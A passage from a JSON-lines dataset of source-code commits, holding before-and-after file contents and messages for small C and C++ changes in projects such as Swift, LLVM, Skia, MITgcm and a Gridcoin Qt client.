,bigdinotech\/zephyr,zephyrproject-rtos\/zephyr,explora26\/zephyr,erwango\/zephyr,mirzak\/zephyr-os,runchip\/zephyr-cc3200,sharronliu\/zephyr,Vudentz\/zephyr,sharronliu\/zephyr,pklazy\/zephyr,zephyriot\/zephyr,coldnew\/zephyr-project-fork,fbsder\/zephyr,pklazy\/zephyr,tidyjiang8\/zephyr-doc,ldts\/zephyr,32bitmicro\/zephyr,mirzak\/zephyr-os,zephyrproject-rtos\/zephyr,fractalclone\/zephyr-riscv,bigdinotech\/zephyr,holtmann\/zephyr,rsalveti\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,ldts\/zephyr,fbsder\/zephyr,rsalveti\/zephyr,mirzak\/zephyr-os,kraj\/zephyr,fbsder\/zephyr,fractalclone\/zephyr-riscv,fbsder\/zephyr,32bitmicro\/zephyr,explora26\/zephyr,runchip\/zephyr-cc3220,Vudentz\/zephyr,explora26\/zephyr,GiulianoFranchetto\/zephyr,coldnew\/zephyr-project-fork,32bitmicro\/zephyr,explora26\/zephyr,kraj\/zephyr,Vudentz\/zephyr,aceofall\/zephyr-iotos,holtmann\/zephyr,mbolivar\/zephyr,galak\/zephyr,coldnew\/zephyr-project-fork,zephyriot\/zephyr,tidyjiang8\/zephyr-doc,GiulianoFranchetto\/zephyr,bigdinotech\/zephyr,aceofall\/zephyr-iotos,32bitmicro\/zephyr,erwango\/zephyr,rsalveti\/zephyr,ldts\/zephyr,fractalclone\/zephyr-riscv,zephyriot\/zephyr,Vudentz\/zephyr,GiulianoFranchetto\/zephyr,finikorg\/zephyr,fbsder\/zephyr,nashif\/zephyr,pklazy\/zephyr,finikorg\/zephyr"}
{"commit":"978e851a0ea6e8c54d072f745bbd8d1cd0451e54","old_file":"include\/swift\/Basic\/Algorithm.h","new_file":"include\/swift\/Basic\/Algorithm.h","old_contents":"\/\/===--- Algorithm.h - ------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines helper algorithms, some of which are ported from C++14,\n\/\/  which may not be available on all platforms yet.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_BASIC_ALGORITHM_H\n#define SWIFT_BASIC_ALGORITHM_H\n\nnamespace swift {\n  \/\/\/ Returns the minimum of `a` and `b`, or `a` if they are equivalent.\n  template <typename T>\n  constexpr const T& min(const T &a, const T &b) {\n    return !(b < a) ? a : b;\n  }\n} \/\/ end namespace swift\n\n#endif \/* SWIFT_BASIC_ALGORITHM_H *\/\n","new_contents":"\/\/===--- Algorithm.h - ------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines helper algorithms, some of which are ported from C++14,\n\/\/  which may not be available on all platforms yet.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_BASIC_ALGORITHM_H\n#define SWIFT_BASIC_ALGORITHM_H\n\nnamespace swift {\n  \/\/\/ Returns the minimum of `a` and `b`, or `a` if they are equivalent.\n  template <typename T>\n  constexpr const T& min(const T &a, const T &b) {\n    return !(b < a) ? a : b;\n  }\n  \n  \/\/\/ Returns the maximum of `a` and `b`, or `a` if they are equivalent.\n  template <typename T>\n  constexpr const T& max(const T &a, const T &b) {\n    return (a < b) ? b : a;\n  }\n} \/\/ end namespace swift\n\n#endif \/* SWIFT_BASIC_ALGORITHM_H *\/\n","subject":"Add constexpr version of maximum to algorithm","message":"Add constexpr version of maximum to algorithm\n\nAdd the constexpr version of max which is only available in std since c++14.\r\nBesides being a logical addition next to the already implemented constexpr version of min, there are actually other files, even in Swift\/Basic itself, which re-implement this functionality, such as PrefixMap.h. Once this is implemented here, the functionality can be re-used in those other locations, instead of re-implemented each time.","lang":"C","license":"apache-2.0","repos":"jmgc\/swift,lorentey\/swift,aschwaighofer\/swift,tinysun212\/swift-windows,ken0nek\/swift,xwu\/swift,benlangmuir\/swift,djwbrown\/swift,nathawes\/swift,natecook1000\/swift,ahoppen\/swift,huonw\/swift,apple\/swift,jckarter\/swift,benlangmuir\/swift,karwa\/swift,russbishop\/swift,apple\/swift,devincoughlin\/swift,jopamer\/swift,felix91gr\/swift,kperryua\/swift,karwa\/swift,jmgc\/swift,gribozavr\/swift,stephentyrone\/swift,amraboelela\/swift,devincoughlin\/swift,gmilos\/swift,djwbrown\/swift,Jnosh\/swift,tkremenek\/swift,johnno1962d\/swift,shahmishal\/swift,uasys\/swift,brentdax\/swift,gribozavr\/swift,jopamer\/swift,huonw\/swift,kperryua\/swift,amraboelela\/swift,airspeedswift\/swift,gottesmm\/swift,zisko\/swift,russbishop\/swift,hughbe\/swift,allevato\/swift,alblue\/swift,gottesmm\/swift,glessard\/swift,xedin\/swift,austinzheng\/swift,manavgabhawala\/swift,JGiola\/swift,hooman\/swift,jtbandes\/swift,tardieu\/swift,frootloops\/swift,jopamer\/swift,rudkx\/swift,ben-ng\/swift,parkera\/swift,johnno1962d\/swift,modocache\/swift,jckarter\/swift,practicalswift\/swift,stephentyrone\/swift,practicalswift\/swift,parkera\/swift,ken0nek\/swift,gmilos\/swift,SwiftAndroid\/swift,deyton\/swift,aschwaighofer\/swift,natecook1000\/swift,gregomni\/swift,JaSpa\/swift,frootloops\/swift,atrick\/swift,stephentyrone\/swift,sschiau\/swift,KrishMunot\/swift,djwbrown\/swift,huonw\/swift,arvedviehweger\/swift,swiftix\/swift,return\/swift,lorentey\/swift,stephentyrone\/swift,swiftix\/swift,IngmarStein\/swift,brentdax\/swift,KrishMunot\/swift,lorentey\/swift,practicalswift\/swift,OscarSwanros\/swift,russbishop\/swift,harlanhaskins\/swift,return\/swift,kperryua\/swift,xwu\/swift,russbishop\/swift,SwiftAndroid\/swift,tinysun212\/swift-windows,jmgc\/swift,parkera\/swift,ahoppen\/swift,arvedviehweger\/swift,tardieu\/swift,harlanhaskins\/swift,parkera\/swift,roambotics\/swift,ahoppen\/swift,rudkx\/swift,ben-ng\/swift,tkremenek\/swift,roambotics\/swift,rudkx\/swift,jopamer\/swift,felix91gr\/swift,hooman\/swift,practicalswift\/swift,devincoughlin\/swift,calebd\/swift,hooman\/swift,ken0nek\/swift,uasys\/swift,hooman\/swift,ahoppen\/swift,hughbe\/swift,codestergit\/swift,kstaring\/swift,harlanhaskins\/swift,gribozavr\/swift,dreamsxin\/swift,calebd\/swift,zisko\/swift,frootloops\/swift,gmilos\/swift,jopamer\/swift,roambotics\/swift,frootloops\/swift,IngmarStein\/swift,deyton\/swift,bitjammer\/swift,glessard\/swift,karwa\/swift,stephentyrone\/swift,benlangmuir\/swift,codestergit\/swift,CodaFi\/swift,deyton\/swift,sschiau\/swift,swiftix\/swift,kperryua\/swift,amraboelela\/swift,modocache\/swift,nathawes\/swift,manavgabhawala\/swift,gribozavr\/swift,xwu\/swift,xedin\/swift,shahmishal\/swift,modocache\/swift,danielmartin\/swift,hooman\/swift,kperryua\/swift,kstaring\/swift,shahmishal\/swift,JaSpa\/swift,CodaFi\/swift,felix91gr\/swift,parkera\/swift,stephentyrone\/swift,lorentey\/swift,russbishop\/swift,lorentey\/swift,lorentey\/swift,gregomni\/swift,felix91gr\/swift,bitjammer\/swift,return\/swift,parkera\/swift,djwbrown\/swift,SwiftAndroid\/swift,bitjammer\/swift,JGiola\/swift,amraboelela\/swift,sschiau\/swift,OscarSwanros\/swift,ken0nek\/swift,stephentyrone\/swift,devincoughlin\/swift,airspeedswift\/swift,tkremenek\/swift,devincoughlin\/swift,harlanhaskins\/swift,deyton\/swift,JGiola\/swift,danielmartin\/swift,ahoppen\/swift,atrick\/swift,xedin\/swift,tjw\/swift,gottesmm\/swift,aschwaighofer\/swift,shajrawi\/swift,zisko\/swift,Jnosh\/swift,russbishop\/swift,tkremenek\/swift,gottesmm\/swift,gregomni\/swift,JaSpa\/swift,parkera\/swift,harlanhaskins\/swift,Jnosh\/swift,jckarter\/swift,huonw\/swift,alblue\/swift,OscarSwanros\/swift,johnno1962d\/swift,ben-ng\/swift,arvedviehweger\/swift,gmilos\/swift,gmilos\/swift,gribozavr\/swift,natecook1000\/swift,amraboelela\/swift,SwiftAndroid\/swift,brentdax\/swift,tjw\/swift,jtbandes\/swift,xwu\/swift,dreamsxin\/swift,gmilos\/swift,kstaring\/swift,airspeedswift\/swift,zisko\/swift,KrishMunot\/swift,austinzheng\/swift,nathawes\/swift,tinysun212\/swift-windows,manavgabhawala\/swift,KrishMunot\/swift,arvedviehweger\/swift,brentdax\/swift,alblue\/swift,amraboelela\/swift,devincoughlin\/swift,brentdax\/swift,return\/swift,karwa\/swift,modocache\/swift,shahmishal\/swift,aschwaighofer\/swift,allevato\/swift,IngmarStein\/swift,hughbe\/swift,benlangmuir\/swift,Jnosh\/swift,CodaFi\/swift,manavgabhawala\/swift,jtbandes\/swift,Jnosh\/swift,xwu\/swift,ken0nek\/swift,return\/swift,KrishMunot\/swift,codestergit\/swift,shajrawi\/swift,codestergit\/swift,SwiftAndroid\/swift,felix91gr\/swift,therealbnut\/swift,swiftix\/swift,tjw\/swift,austinzheng\/swift,gregomni\/swift,shajrawi\/swift,hooman\/swift,jckarter\/swift,shajrawi\/swift,xwu\/swift,jopamer\/swift,glessard\/swift,uasys\/swift,felix91gr\/swift,shajrawi\/swift,swiftix\/swift,IngmarStein\/swift,therealbnut\/swift,karwa\/swift,OscarSwanros\/swift,harlanhaskins\/swift,kstaring\/swift,rudkx\/swift,KrishMunot\/swift,therealbnut\/swift,uasys\/swift,ken0nek\/swift,tinysun212\/swift-windows,xedin\/swift,JaSpa\/swift,JGiola\/swift,danielmartin\/swift,tardieu\/swift,calebd\/swift,JGiola\/swift,djwbrown\/swift,shajrawi\/swift,tinysun212\/swift-windows,deyton\/swift,CodaFi\/swift,alblue\/swift,rudkx\/swift,danielmartin\/swift,bitjammer\/swift,sschiau\/swift,modocache\/swift,benlangmuir\/swift,practicalswift\/swift,aschwaighofer\/swift,jmgc\/swift,roambotics\/swift,milseman\/swift,swiftix\/swift,zisko\/swift,shahmishal\/swift,johnno1962d\/swift,frootloops\/swift,atrick\/swift,modocache\/swift,tinysun212\/swift-windows,kstaring\/swift,shajrawi\/swift,xwu\/swift,therealbnut\/swift,hughbe\/swift,karwa\/swift,gottesmm\/swift,huonw\/swift,OscarSwanros\/swift,ben-ng\/swift,jckarter\/swift,tjw\/swift,zisko\/swift,calebd\/swift,jmgc\/swift,arvedviehweger\/swift,therealbnut\/swift,practicalswift\/swift,milseman\/swift,manavgabhawala\/swift,arvedviehweger\/swift,swiftix\/swift,devincoughlin\/swift,natecook1000\/swift,ahoppen\/swift,ben-ng\/swift,SwiftAndroid\/swift,huonw\/swift,sschiau\/swift,airspeedswift\/swift,uasys\/swift,sschiau\/swift,OscarSwanros\/swift,hooman\/swift,JGiola\/swift,benlangmuir\/swift,ben-ng\/swift,rudkx\/swift,lorentey\/swift,brentdax\/swift,deyton\/swift,apple\/swift,xedin\/swift,austinzheng\/swift,gottesmm\/swift,milseman\/swift,ben-ng\/swift,kperryua\/swift,OscarSwanros\/swift,tardieu\/swift,devincoughlin\/swift,tinysun212\/swift-windows,gmilos\/swift,allevato\/swift,codestergit\/swift,jtbandes\/swift,kstaring\/swift,danielmartin\/swift,atrick\/swift,bitjammer\/swift,xedin\/swift,shajrawi\/swift,nathawes\/swift,aschwaighofer\/swift,austinzheng\/swift,jtbandes\/swift,manavgabhawala\/swift,codestergit\/swift,zisko\/swift,JaSpa\/swift,atrick\/swift,bitjammer\/swift,return\/swift,alblue\/swift,danielmartin\/swift,felix91gr\/swift,sschiau\/swift,nathawes\/swift,gribozavr\/swift,tkremenek\/swift,jmgc\/swift,hughbe\/swift,allevato\/swift,djwbrown\/swift,glessard\/swift,IngmarStein\/swift,gottesmm\/swift,kperryua\/swift,frootloops\/swift,JaSpa\/swift,natecook1000\/swift,huonw\/swift,natecook1000\/swift,therealbnut\/swift,gribozavr\/swift,jckarter\/swift,karwa\/swift,tjw\/swift,glessard\/swift,Jnosh\/swift,allevato\/swift,tardieu\/swift,natecook1000\/swift,frootloops\/swift,milseman\/swift,arvedviehweger\/swift,tardieu\/swift,gregomni\/swift,xedin\/swift,harlanhaskins\/swift,practicalswift\/swift,SwiftAndroid\/swift,airspeedswift\/swift,shahmishal\/swift,jtbandes\/swift,therealbnut\/swift,kstaring\/swift,apple\/swift,codestergit\/swift,parkera\/swift,airspeedswift\/swift,practicalswift\/swift,deyton\/swift,apple\/swift,nathawes\/swift,hughbe\/swift,hughbe\/swift,manavgabhawala\/swift,shahmishal\/swift,alblue\/swift,brentdax\/swift,jopamer\/swift,Jnosh\/swift,IngmarStein\/swift,JaSpa\/swift,jmgc\/swift,roambotics\/swift,djwbrown\/swift,uasys\/swift,uasys\/swift,austinzheng\/swift,johnno1962d\/swift,bitjammer\/swift,jtbandes\/swift,milseman\/swift,KrishMunot\/swift,allevato\/swift,sschiau\/swift,IngmarStein\/swift,johnno1962d\/swift,amraboelela\/swift,calebd\/swift,atrick\/swift,alblue\/swift,tardieu\/swift,apple\/swift,CodaFi\/swift,karwa\/swift,calebd\/swift,glessard\/swift,return\/swift,gregomni\/swift,nathawes\/swift,CodaFi\/swift,gribozavr\/swift,roambotics\/swift,CodaFi\/swift,johnno1962d\/swift,tjw\/swift,calebd\/swift,austinzheng\/swift,shahmishal\/swift,tkremenek\/swift,ken0nek\/swift,airspeedswift\/swift,tjw\/swift,danielmartin\/swift,tkremenek\/swift,modocache\/swift,lorentey\/swift,aschwaighofer\/swift,russbishop\/swift,milseman\/swift,allevato\/swift,milseman\/swift,jckarter\/swift,xedin\/swift"}
{"commit":"dbab7e6e9385e42426ecfe79c4679b05cd4438d4","old_file":"bgc\/DIC_ATMOS.h","new_file":"bgc\/DIC_ATMOS.h","old_contents":"C $Header: \/u\/gcmpack\/MITgcm\/pkg\/dic\/DIC_ATMOS.h,v 1.4 2010\/04\/11 20:59:27 jmc Exp $\nC $Name:  $\n\n       COMMON \/INTERACT_ATMOS_NEEDS\/\n     &              co2atmos,\n     &              total_atmos_carbon, total_ocean_carbon,\n     &              total_atmos_carbon_year,\n     &              total_ocean_carbon_year,\n     &              total_atmos_carbon_start,\n     &              total_ocean_carbon_start,\n     &              atpco2,total_atmos_moles\n\n       _RL co2atmos(1000)\n       _RL total_atmos_carbon\n       _RL total_ocean_carbon\n       _RL total_atmos_carbon_year\n       _RL total_atmos_carbon_start\n       _RL total_ocean_carbon_year\n       _RL total_ocean_carbon_start\n       _RL atpco2\n       _RL total_atmos_moles\n","new_contents":"C $Header: \/u\/gcmpack\/MITgcm\/pkg\/dic\/DIC_ATMOS.h,v 1.4 2010\/04\/11 20:59:27 jmc Exp $\nC $Name:  $\n\n       COMMON \/INTERACT_ATMOS_NEEDS\/\n     &              co2atmos,\n     &              total_atmos_carbon, total_ocean_carbon,\n     &              total_atmos_carbon_year,\n     &              total_ocean_carbon_year,\n     &              total_atmos_carbon_start,\n     &              total_ocean_carbon_start,\n     &              atpco2,total_atmos_moles\n\n       _RL co2atmos(1002)\n       _RL total_atmos_carbon\n       _RL total_ocean_carbon\n       _RL total_atmos_carbon_year\n       _RL total_atmos_carbon_start\n       _RL total_ocean_carbon_year\n       _RL total_ocean_carbon_start\n       _RL atpco2\n       _RL total_atmos_moles\n","subject":"Update length of co2atmos variable","message":"Update length of co2atmos variable\n","lang":"C","license":"mit","repos":"seamanticscience\/mitgcm_mods,seamanticscience\/mitgcm_mods"}
{"commit":"246d5ce439738b24d9881ddcd03ea8e53f20609f","old_file":"VPUQuickTimePlayback\/VPUSupport.h","new_file":"VPUQuickTimePlayback\/VPUSupport.h","old_contents":"\/\/\n\/\/  VPUSupport.h\n\/\/  QTMultiGPUTextureIssue\n\/\/\n\/\/  Created by Tom Butterworth on 15\/05\/2012.\n\/\/  Copyright (c) 2012 Tom Butterworth. All rights reserved.\n\/\/\n\n#ifndef QTMultiGPUTextureIssue_VPUSupport_h\n#define QTMultiGPUTextureIssue_VPUSupport_h\n\n#import <Foundation\/Foundation.h>\n#import <QTKit\/QTKit.h>\n\n#define kVPUSPixelFormatTypeRGB_DXT1 'DXt1'\n#define kVPUSPixelFormatTypeRGBA_DXT1 'DXT1'\n#define kVPUSPixelFormatTypeRGBA_DXT5 'DXT5'\n#define kVPUSPixelFormatTypeYCoCg_DXT5 'DYT5'\n\nBOOL VPUSMovieHasVPUTrack(QTMovie *movie);\nCFDictionaryRef VPUCreateCVPixelBufferOptionsDictionary();\n\n#endif\n","new_contents":"\/\/\n\/\/  VPUSupport.h\n\/\/  QTMultiGPUTextureIssue\n\/\/\n\/\/  Created by Tom Butterworth on 15\/05\/2012.\n\/\/  Copyright (c) 2012 Tom Butterworth. All rights reserved.\n\/\/\n\n#ifndef QTMultiGPUTextureIssue_VPUSupport_h\n#define QTMultiGPUTextureIssue_VPUSupport_h\n\n#import <Foundation\/Foundation.h>\n#import <QTKit\/QTKit.h>\n\n#define kVPUSPixelFormatTypeRGB_DXT1 'DXt1'\n#define kVPUSPixelFormatTypeRGBA_DXT1 'DXT1'\n#define kVPUSPixelFormatTypeRGBA_DXT5 'DXT5'\n#define kVPUSPixelFormatTypeYCoCg_DXT5 'DYt5'\n\nBOOL VPUSMovieHasVPUTrack(QTMovie *movie);\nCFDictionaryRef VPUCreateCVPixelBufferOptionsDictionary();\n\n#endif\n","subject":"Update pixel format type for CoreVideo Scaled YCoCg DXT5 to match change in codec","message":"Update pixel format type for CoreVideo Scaled YCoCg DXT5 to match change in codec\n","lang":"C","license":"bsd-2-clause","repos":"Vidvox\/hap-quicktime-playback-demo"}
{"commit":"cd3a37cf027a42b18cb6ee9df1f1816774f5eb34","old_file":"alice4\/software\/libgl\/hardware_events.c","new_file":"alice4\/software\/libgl\/hardware_events.c","old_contents":"","new_contents":"#include <stdio.h>\n#include \"event_service.h\"\n#include \"touchscreen.h\"\n#include \"device.h\"\n\ntypedef struct event {\n    int32_t device;\n    int16_t val;\n    \/\/ union here for other events like keys\n} event;\n\n#define INPUT_QUEUE_SIZE 128\nstatic event input_queue[INPUT_QUEUE_SIZE];\n\/\/ The next time that needs to be read:\nstatic int input_queue_head = 0;\n\/\/ The number of items in the queue (tail = (head + length) % len):\nstatic int input_queue_length = 0;\n\nstatic int mousex = -1; \/\/ valuator for touchscreen X\nstatic int mousey = -1; \/\/ valuator for touchscreen X\n\nstatic void enqueue_event(event *e)\n{\n    if (input_queue_length == INPUT_QUEUE_SIZE) {\n        printf(\"Input queue overflow.\");\n    } else {\n        int tail = (input_queue_head + input_queue_length) % INPUT_QUEUE_SIZE;\n        input_queue[tail] = *e;\n        input_queue_length++;\n    }\n}\n\nstatic void drain_touchscreen()\n{\n    int x, y;\n    float z;\n\n    TouchscreenEvent e;\n    event ev;\n    while((e = touchscreen_read(&x, &y, &z)) != TOUCHSCREEN_IDLE) {\n\tswitch(e) {\n\t    case TOUCHSCREEN_START:\n\t\tev.device = LEFTMOUSE;\n\t\tev.val = 1;\n\t\tenqueue_event(&ev);\n\t\tbreak;\n\t    case TOUCHSCREEN_DRAG:\n\t\tmousex = x;\n\t\tmousey = y;\n\t\tbreak;\n\t    case TOUCHSCREEN_STOP:\n\t\tev.device = LEFTMOUSE;\n\t\tev.val = 0;\n\t\tenqueue_event(&ev);\n\t\tbreak;\n\t    case TOUCHSCREEN_IDLE:\n\t    default:\n\t\tbreak;\n\t}\n    }\n\n    \/\/ usleep(100000);\n}\n\nint32_t events_get_valuator(int32_t device)\n{\n    drain_touchscreen();\n    if(device == MOUSEX)\n\treturn mousex;\n    else if(device == MOUSEY)\n\treturn mousey;\n    return 0;\n}\n\nvoid events_qdevice(int32_t device)\n{\n}\n\nuint32_t event_qread_start(int blocking)\n{\n    drain_touchscreen();\n    return input_queue_length;\n}\n\nint32_t events_qread_continue(int16_t *value)\n{\n    *value = input_queue[input_queue_head].val;\n    int32_t device = input_queue[input_queue_head].device;\n    input_queue_head = (input_queue_head + 1) % INPUT_QUEUE_SIZE;\n    input_queue_length--;\n    return device;\n}\n\nint32_t events_winopen(char *title)\n{\n    touchscreen_init();\n    drain_touchscreen();\n    return 0;\n}\n\nvoid events_tie(int32_t button, int32_t val1, int32_t val2)\n{\n}\n","subject":"Add beginnings of events on hardware","message":"Add beginnings of events on hardware\n","lang":"C","license":"apache-2.0","repos":"lkesteloot\/alice,lkesteloot\/alice,lkesteloot\/alice,lkesteloot\/alice,lkesteloot\/alice,lkesteloot\/alice"}
{"commit":"f1360fc78e8b536000bb4abd5146d0394a7d2e3c","old_file":"cpp11-migrate\/LoopConvert\/LoopConvert.h","new_file":"cpp11-migrate\/LoopConvert\/LoopConvert.h","old_contents":"\/\/===-- LoopConvert\/LoopConvert.h - C++11 for-loop migration ----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief This file provides the definition of the LoopConvertTransform\n\/\/\/ class which is the main interface to the loop-convert transform\n\/\/\/ that tries to make use of range-based for loops where possible.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLVM_TOOLS_CLANG_TOOLS_EXTRA_CPP11_MIGRATE_LOOP_CONVERT_H\n#define LLVM_TOOLS_CLANG_TOOLS_EXTRA_CPP11_MIGRATE_LOOP_CONVERT_H\n\n#include \"Transform.h\"\n#include \"llvm\/Support\/Compiler.h\" \/\/ For LLVM_OVERRIDE\n\n\/\/\/ \\brief Subclass of Transform that transforms for-loops into range-based\n\/\/\/ for-loops where possible.\nclass LoopConvertTransform : public Transform {\npublic:\n\n  \/\/\/ \\brief \\see Transform::run().\n  virtual int apply(const FileContentsByPath &InputStates,\n                    RiskLevel MaxRiskLevel,\n                    const clang::tooling::CompilationDatabase &Database,\n                    const std::vector<std::string> &SourcePaths,\n                    FileContentsByPath &ResultStates) LLVM_OVERRIDE;\n};\n\n#endif \/\/ LLVM_TOOLS_CLANG_TOOLS_EXTRA_CPP11_MIGRATE_LOOP_CONVERT_H\n","new_contents":"\/\/===-- LoopConvert\/LoopConvert.h - C++11 for-loop migration ----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief This file provides the definition of the LoopConvertTransform\n\/\/\/ class which is the main interface to the loop-convert transform\n\/\/\/ that tries to make use of range-based for loops where possible.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLVM_TOOLS_CLANG_TOOLS_EXTRA_CPP11_MIGRATE_LOOP_CONVERT_H\n#define LLVM_TOOLS_CLANG_TOOLS_EXTRA_CPP11_MIGRATE_LOOP_CONVERT_H\n\n#include \"Transform.h\"\n#include \"llvm\/Support\/Compiler.h\" \/\/ For LLVM_OVERRIDE\n\n\/\/\/ \\brief Subclass of Transform that transforms for-loops into range-based\n\/\/\/ for-loops where possible.\nclass LoopConvertTransform : public Transform {\npublic:\n\n  \/\/\/ \\see Transform::run().\n  virtual int apply(const FileContentsByPath &InputStates,\n                    RiskLevel MaxRiskLevel,\n                    const clang::tooling::CompilationDatabase &Database,\n                    const std::vector<std::string> &SourcePaths,\n                    FileContentsByPath &ResultStates) LLVM_OVERRIDE;\n};\n\n#endif \/\/ LLVM_TOOLS_CLANG_TOOLS_EXTRA_CPP11_MIGRATE_LOOP_CONVERT_H\n","subject":"Fix a -Wdocumentation warning (empty paragraph passed to '\\brief' command)","message":"Fix a -Wdocumentation warning (empty paragraph passed to '\\brief' command)\n\n\ngit-svn-id: a34e9779ed74578ad5922b3306b3d80a0c825546@172661 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra"}
{"commit":"029422ddadc251b23cc2441bd42c46f8172a44b0","old_file":"src\/core\/SkEdgeBuilder.h","new_file":"src\/core\/SkEdgeBuilder.h","old_contents":"#ifndef SkEdgeBuilder_DEFINED\n#define SkEdgeBuilder_DEFINED\n\n#include \"SkChunkAlloc.h\"\n#include \"SkRect.h\"\n#include \"SkTDArray.h\"\n\nclass SkEdge;\nclass SkEdgeClipper;\nclass SkPath;\n\nclass SkEdgeBuilder {\npublic:\n    SkEdgeBuilder();\n    \n    int build(const SkPath& path, const SkIRect* clip, int shiftUp);\n\n    SkEdge** edgeList() { return fList.begin(); }\n\nprivate:\n    SkChunkAlloc        fAlloc;\n    SkTDArray<SkEdge*>  fList;\n    int                 fShiftUp;\n\n    void addLine(const SkPoint pts[]);\n    void addQuad(const SkPoint pts[]);\n    void addCubic(const SkPoint pts[]);\n    void addClipper(SkEdgeClipper*);\n};\n\n#endif\n","new_contents":"#ifndef SkEdgeBuilder_DEFINED\n#define SkEdgeBuilder_DEFINED\n\n#include \"SkChunkAlloc.h\"\n#include \"SkRect.h\"\n#include \"SkTDArray.h\"\n\nstruct SkEdge;\nclass SkEdgeClipper;\nclass SkPath;\n\nclass SkEdgeBuilder {\npublic:\n    SkEdgeBuilder();\n    \n    int build(const SkPath& path, const SkIRect* clip, int shiftUp);\n\n    SkEdge** edgeList() { return fList.begin(); }\n\nprivate:\n    SkChunkAlloc        fAlloc;\n    SkTDArray<SkEdge*>  fList;\n    int                 fShiftUp;\n\n    void addLine(const SkPoint pts[]);\n    void addQuad(const SkPoint pts[]);\n    void addCubic(const SkPoint pts[]);\n    void addClipper(SkEdgeClipper*);\n};\n\n#endif\n","subject":"Fix warning (struct forward-declared as class).","message":"Fix warning (struct forward-declared as class).\n\nReview URL:  http:\/\/codereview.appspot.com\/164061\n\n","lang":"C","license":"bsd-3-clause","repos":"csulmone\/skia,csulmone\/skia,csulmone\/skia,csulmone\/skia"}
{"commit":"3c7cc7cad858aaf4b656863f6ab405ef05a2d42e","old_file":"src\/qt\/clicklabel.h","new_file":"src\/qt\/clicklabel.h","old_contents":"#ifndef CLICKLABEL_H\n#define CLICKLABEL_H\n\n#include <QLabel>\n#include <QWidget>\n#include <Qt>\n\nclass ClickLabel:public QLabel\n{\n    Q_OBJECT\npublic:\n    explicit ClickLabel(QWidget *parent = Q_NULLPTR, Qt::WindowFlags f = Qt::WindowFlags());\n    ~ClickLabel();\nsignals:\n    void clicked();\nprotected:\n    void mouseReleaseEvent(QMouseEvent *event);\n};\n\n#endif \/\/ CLICKLABEL_H\n","new_contents":"#ifndef CLICKLABEL_H\n#define CLICKLABEL_H\n\n#include <QLabel>\n#include <QWidget>\n#include <Qt>\n\nclass ClickLabel:public QLabel\n{\n    Q_OBJECT\npublic:\n    explicit ClickLabel(QWidget *parent = nullptr, Qt::WindowFlags f = Qt::WindowFlags());\n    ~ClickLabel();\nsignals:\n    void clicked();\nprotected:\n    void mouseReleaseEvent(QMouseEvent *event);\n};\n\n#endif \/\/ CLICKLABEL_H\n","subject":"Use nullptr to stay Qt4 compatible.","message":"Use nullptr to stay Qt4 compatible.\n","lang":"C","license":"mit","repos":"Git-Jiro\/Gridcoin-Research,caraka\/gridcoinresearch,theMarix\/Gridcoin-Research,theMarix\/Gridcoin-Research,TheCharlatan\/Gridcoin-Research,TheCharlatan\/Gridcoin-Research,TheCharlatan\/Gridcoin-Research,caraka\/gridcoinresearch,tomasbrod\/Gridcoin-Research,theMarix\/Gridcoin-Research,TheCharlatan\/Gridcoin-Research,Git-Jiro\/Gridcoin-Research,gridcoin\/Gridcoin-Research,tomasbrod\/Gridcoin-Research,theMarix\/Gridcoin-Research,caraka\/gridcoinresearch,caraka\/gridcoinresearch,Git-Jiro\/Gridcoin-Research,theMarix\/Gridcoin-Research,gridcoin\/Gridcoin-Research,caraka\/gridcoinresearch,gridcoin\/Gridcoin-Research,theMarix\/Gridcoin-Research,tomasbrod\/Gridcoin-Research,gridcoin\/Gridcoin-Research,Git-Jiro\/Gridcoin-Research,gridcoin\/Gridcoin-Research,Git-Jiro\/Gridcoin-Research,gridcoin\/Gridcoin-Research,tomasbrod\/Gridcoin-Research,tomasbrod\/Gridcoin-Research,TheCharlatan\/Gridcoin-Research,caraka\/gridcoinresearch"}
